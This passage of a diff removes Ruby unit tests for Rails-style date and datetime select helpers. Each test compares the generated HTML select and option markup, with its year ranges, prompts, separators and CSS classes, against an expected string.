-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_zero_value_and_no_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    last_year = Time.now.year + 5
-    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_zero_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
-  end
-
-  def test_select_date_with_html_options
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => "selector")
-  end
-
-  def test_select_date_with_separator
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
-  end
-
-  def test_select_date_with_separator_and_discard_day
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << " / "
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
-  end
-
-  def test_select_date_with_separator_discard_month_and_day
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<input type="hidden" id="date_first_month" name="date[first][month]" value="8" />\n)
-    expected << %(<input type="hidden" id="date_first_day" name="date[first][day]" value="1" />\n)
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :discard_month => true, :discard_day => true, :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
-  end
-
-  def test_select_date_with_hidden
-    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003"/>\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :prefix => "date[first]", :use_hidden => true })
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :prefix => "date[first]", :use_hidden => true })
-  end
-
-  def test_select_date_with_css_classes_option
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="year">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" class="month">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" class="day">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true})
-  end
-
-  def test_select_datetime
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
-  end
-
-  def test_select_datetime_with_ampm
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\ [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :ampm => true)
-  end
-
-  def test_select_datetime_with_separators
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :datetime_separator => ' — ', :time_separator => ' : ')
-  end
-
-  def test_select_datetime_with_nil_value_and_no_start_and_end_year
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(nil, :prefix => "date[first]")
-  end
-
-  def test_select_datetime_with_html_options
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-
-    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
-  end
-
-  def test_select_datetime_with_all_separators
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
-    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << "/"
-
-    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
-    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << "/"
-
-    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
-    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
-    expected << "</select>\n"
-
-    expected << "—"
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << ":"
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
-    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<optio [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { :datetime_separator => "—", :date_separator => "/", :time_separator => ":", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => 'selector')
-  end
-
-  def test_select_datetime_should_work_with_date
-    assert_nothing_raised { select_datetime(Date.today) }
-  end
-
-  def test_select_datetime_with_default_prompt
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<opt [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005,
-                                               :prefix => "date[first]", :prompt => true)
-  end
-
-  def test_select_datetime_with_custom_prompt
-
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
-    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_day" name="date[first][day]">\n)
-    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
-    expected << "</select>\n"
-
-    expected << " — "
-
-    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
-    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\ [...]
-    expected << "</select>\n"
-
-    expected << " : "
-
-    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
-    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option [...]
-    expected << "</select>\n"
-
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]",
-      :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'})
-  end
-
-  def test_select_datetime_with_custom_hours
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
-    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
-    expected << "</select>\n"
-
-    expected << %(<select id="date_first_month" name="date[first][month]">\n)
